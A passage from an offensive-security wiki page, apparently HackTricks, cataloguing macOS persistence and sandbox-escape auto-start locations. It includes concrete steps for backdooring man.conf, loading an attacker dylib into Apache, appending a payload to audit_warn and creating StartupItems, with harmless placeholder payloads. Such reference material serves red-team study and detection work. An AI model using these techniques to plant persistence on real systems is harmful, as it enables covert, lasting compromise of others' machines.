-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

{% endcode %}

There are other periodic scripts that will be executed indicated in /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

If you manage to write any of the files /etc/daily.local, /etc/weekly.local or /etc/monthly.local it will be executed sooner or later.

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • Useful to bypass sandbox: 🟠
    • But you need to be root

Location

  • Root always required

Description & Exploitation

As PAM is more focused in persistence and malware that on easy execution inside macOS, this blog won't give a detailed explanation, read the writeups to understand this technique better.

Authorization Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Useful to bypass sandbox: 🟠
    • But you need to be root and make extra configs

Location

  • /Library/Security/SecurityAgentPlugins/
    • Root required
    • It's also needed to configure the authorization database to use the plugin

Description & Exploitation

You can create an authorization plugin that will be executed when a user logs in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode).

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • Useful to bypass sandbox: 🟠
    • But you need to be root and the user must use man

Location

  • /private/etc/man.conf
    • Root required
    • /private/etc/man.conf: Whenever man is used

Description & Exploit

The config file /private/etc/man.conf indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed.

For example set in /private/etc/man.conf:

MANPAGER /tmp/view

And then create /tmp/view as:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

  • Useful to bypass sandbox: 🟠
    • But you need to be root and apache needs to be running

Location

  • /etc/apache2/httpd.conf
    • Root required
    • Trigger: When Apache2 is started

Description & Exploit

You can indicate in /etc/apache2/httpd.conf to load a module adding a line such as:

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

This way your compiled moduled will be loaded by Apache. The only thing is that either you need to sign it with a valid Apple certificate, or you need to add a new trusted certificate in the system and sign it with it.

Then, if needed , to make sure the server will be started you could execute:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Code example for the Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
     printf("[+] dylib constructor called from %s\n", argv[0]);
     syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM audit framework

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

  • Useful to bypass sandbox: 🟠
    • But you need to be root, auditd be running and cause a warning

Location

  • /etc/security/audit_warn
    • Root required
    • Trigger: When auditd detects a warning

Description & Exploit

Whenever auditd detects a warning the script /etc/security/audit_warn is executed. So you could add your payload on it.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

You could force a warning with sudo audit -n.

Startup Items

{% hint style="danger" %} This is deprecated, so nothing should be found in the following directories. {% endhint %}

A StartupItem is a directory that gets placed in one of these two folders. /Library/StartupItems/ or /System/Library/StartupItems/

After placing a new directory in one of these two locations, two more items need to be placed inside that directory. These two items are a rc script and a plist that holds a few settings. This plist must be called “StartupParameters.plist”.

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Description</key>
        <string>This is a description of this service</string>
    <key>OrderPreference</key>
        <string>None</string> <!--Other req services to execute before this -->
    <key>Provides</key>
    <array>
        <string>superservicename</string> <!--Name of the services provided by this file -->
    </array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}

#!/bin/sh
. /etc/rc.common

StartService(){
    touch /tmp/superservicestarted
}

StopService(){
    rm /tmp/superservicestarted
}

RestartService(){
    echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} I cannot find this component in my macOS so for more info check the writeup {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Apple introduced a logging mechanism called emond. It appears it was never fully developed, and development may have been abandoned by Apple for other mechanisms, but it remains available.

This little-known service may not be much use to a Mac admin, but to a threat actor one very good reason would be to use it as a persistence mechanism that most macOS admins probably wouldn't know to look for. Detecting malicious use of emond shouldn't be difficult, as the System LaunchDaemon for the service looks for scripts to run in only one place:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

Location

  • /opt/X11/etc/X11/xinit/privileged_startx.d
    • Root required
    • Trigger: With XQuartz

Description & Exploit

XQuartz is no longer installed in macOS, so if you want more info check the writeup.

kext

{% hint style="danger" %} It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) {% endhint %}

Location

In order to install a KEXT as a startup item, it needs to be installed in one of the following locations:

  • /System/Library/Extensions
    • KEXT files built into the OS X operating system.
  • /Library/Extensions
    • KEXT files installed by 3rd party software

You can list currently loaded kext files with:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

For more information about kernel extensions check this section.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

Location

  • /usr/local/bin/amstoold
    • Root required

Description & Exploitation

Apparently the plist from /System/Library/LaunchAgents/com.apple.amstoold.plist was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called.

I can no longer find this in my macOS.

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

Location

  • /Library/Preferences/Xsan/.xsanrc
    • Root required
    • Trigger: When the service is run (rarely)

Description & exploit

Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup.

/etc/rc.common

{% hint style="danger" %} This isn't working in modern MacOS versions {% endhint %}

It's also possible to place here commands that will be executed at startup. Example os regular rc.common script:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
    local test

    if [ -z "${NETWORKUP:=}" ]; then
	test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
	if [ "${test}" -gt 0 ]; then
	    NETWORKUP="-YES-"
	else
	    NETWORKUP="-NO-"
	fi
    fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
    local program="$1"
    local pidfile="${PIDFILE:=/var/run/${program}.pid}"
    local     pid=""

    if [ -f "${pidfile}" ]; then
	pid=$(head -1 "${pidfile}")
	if ! kill -0 "${pid}" 2> /dev/null; then
	    echo "Bad pid file $pidfile; deleting."
	    pid=""
	    rm -f "${pidfile}"
	fi
    fi

    if [ -n "${pid}" ]; then
	echo "${pid}"
	return 0
    else
	return 1
    fi
}

#
# Generic action handler
#
RunService ()
{
    case $1 in
      start  ) StartService   ;;
      stop   ) StopService    ;;
      restart) RestartService ;;
      *      ) echo "$0: unknown argument: $1";;
    esac
}

Persistence techniques and tools

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥